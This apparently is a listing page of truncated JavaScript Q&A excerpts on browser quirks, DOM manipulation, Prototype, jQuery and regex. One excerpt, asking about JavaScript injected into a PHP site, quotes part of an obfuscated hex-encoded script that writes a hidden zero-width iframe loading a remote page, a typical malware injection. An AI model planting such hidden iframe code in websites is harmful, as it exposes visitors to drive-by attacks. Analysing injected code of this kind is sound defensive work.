javascript

"Class does not support automation" error when using own class from JScript

Hello, I have a project which exposes object model to use by different types of clients. Written in .Net 3.5 it exposes classes to COM. Problem is while all seems to work from test VB6 client, I faced strange errors while trying to automate it with JScript and Windows Script Host. Here's code snippet: var scComponent = new ActiveXObje...

Strip <script> tags from innerHTML using Prototype

Using Prototype, I'm trying to extract a piece of text from the DOM - this would normal be a simple $().innerHTML job, but the HTML is nested slightly. <td class="time-record"> <script type="text/javascript"> //<![CDATA[ document.write('XXX ago'.gsub('XXX', i18n_time_ago_in_words(1229311439000))); //]]> </script> ...

Jquery script issue IE7 add/remove class

I'm having some IE7 (and presumably IE6) issues with the script. <script type="text/javascript"> $(document).ready(function(){ $(".testimonial:first").show(); $("li.testID:first").addClass("selectedName"); $("li.testID").click(function(){ $("li.testID").removeClass("selectedName"); $(this).addClass("selectedName")...

Regular Expressions: Extract Dates From String

Hopefully this won't be too difficult, but I'm not too skilled in regular expressions. I have a string that contains two dates and would like to extract the two dates into an array or something using JAVASCRIPT. Here's my string: "I am available Thursday, October 28, 2009 through Saturday, November 7, 2009" I would like for the array t...

Input Box Option Drop Down

I'm looking at creating something like this: http://konigi.com/interface/kontain-search I don't suppose anyone has any resources which could guide me? I know I'm not giving much information but I wouldn't know where to start looking. Cheers! EDIT Sorry, I meant just the drop down / input box, nothing else on that site. EDIT AGAIN...

flash activate internet explorer

as you all know that if we use flash object in web page in internet explorer Internet Explorer displays a box around Flash content and show a tooltip telling the user to click to activate the content. i am using fixit it work fine but problem is once page loaded completely. this object load it again. any other solution...? Thanks...

Javascript Multi-level array of JSON objects - how to access key-value pair in second level or higher

Consider the following array of JSON objects: myList = [ {title:"Parent1", children:[{childname:"Child11"}, {childname:"Child12"}], cars:[{carname:"Car11"}, {carname:"Car12"}] }, {title:"Parent2", children:[{childname:"Child21"}, {childname:"Chil...

How do you cancel your href="javascript:void(null)"?

I've recently been bitten by the javascript:void(null); bug in my hrefs when applied to images. In my version of Safari (4.0.3 in Leopard PPC) when I apply an href of javascript:void(null); around an image, the image completely disappears from the layout. Looking around I see this happens in IE as well though I cannot confirm. I've rea...

Why the height difference between a textbox and a surronding span?

Why is there a reported difference in element heights given the following html? <span id="spanner" style="margin:0;padding:0;border:0;outline:0;"><input type="text" /></span> When you ask for the height of the text box you'll get 16px. The height of the span is reported as 19px (usually, IE says 22px). ...

Firefox extension: Add javascript to webpage

Hi, Im working on a FireFox extension that listenes to OnStateChange. When the current document has been loaded it should insert a script to the page and it should be able to call the script on a button event. Now i am able to add a button to all webpages by using: nsCOMPtr NewInputElementTest; rv = htmlDoc->CreateElement(NS_LITERAL_S...

How do i change html element id client side with JavaScript?

I am modifying the ID of an html div element client side with JavaScript. The following code works OK in Internet Explorer but not in FireFox. document.getElementById('one').id = 'two'; Can anyone tell me: a) Why this doesn't work in FireFox. b) How to make this work in FireFox. EDIT To clarify, i'm changing the element ID to refer...

Adding unobtrusive progress bar to old-school file uploads

You all know the new generation of fancy, mostly Flash-based file uploaders like SWFUpload that can show a progress bar while uploading - a great improvement especially for shaky and low-bandwidth connections. However, these uploaders all bring their own logic of how to handle uploads on the client side. I am looking for an unobtrusive ...

prototype.js highlight words. DOM traversing correctly and efficiently.

Hi, I want to highlight a specific word in my HTML page after the page is loaded. I don't want to use the dumb: document.innerHTML = document.innerHTML.replace(.....); I want to traverse every DOM node, find out the ones that contain text and modify the innerHTML of only those individual nodes. Here's what I came up with: function h...

I expect to toggle an element's visibility: should I start with class="..." or style="..."?

If I have an element on a web page that I expect to be showing and hiding quite a bit using javascript, which would be the most appropriate way to set it as initially invisible? <div class="hidden">...</div> or <div style="display: none;">...</div> Using class="..." is preferable to style="..." in most cases, but I'm not convinced ...

Javascript function return value problem

I'm trying to work with the google maps API and am having some trouble. I've created a function called getPoint which accepts an address. It uses the google api to turn that address into a GPoint object using the GClientGeocoder.getLatLng(address,callback) function. The getLatLng() is passed the address and a callback function as you can...

Minifiable version of Prototype

Is there a version of the Prototype framework that is either packable or already packed at the highest compression level with Dean Edward's packer and is tested to work? Packer: http://dean.edwards.name/packer/ This is a Google-able question but I don't trust Google over mission-critical stuff. I want the information from the pros. ...

Why does %26 get decoded to & when passed as a parameter to a JavaScript function from a link?

We've got a menu in out web app that uses <a> tags to load pages in the main frame. A typical item in the menu would be something like: <a target="mainframe" href="/servlet1?param1=val1&parma2=servlet2?s2p1=val2%26s2p2=val3&param3=val4">Menu Item 1</a> We needed to add some JavaScript validation before the link is requested so I chan...

Setting name of DOM-created element fails in IE -- workaround?

I got bit hard by this today: function mk_input( name, val ) { var inp = document.createElement( 'input' ); inp.name = name; inp.value = val; inp.type = 'hidden'; return inp; } As it turns out, setting the name of an element created via createElement doesn't work in IE. It doesn't cause an error or anything, it ju...

JavaScript being injected in my PHP Pages

I have a website, and I just discoverd that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it? <script> var x = unescape("%68% (**** some other hex characters here ****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" ...

Add quote in javascript generated links

Hi, How do i fix this link in javascript. <a href="javascript:clientGalleryLink(Business)">Link</a> Its missing single quotes around 'Business' Javascript: html += "<option value='javascript:clientGalleryLink(" + titleArray[x] + ")'>" + titleArray[x] + "</option>"; ...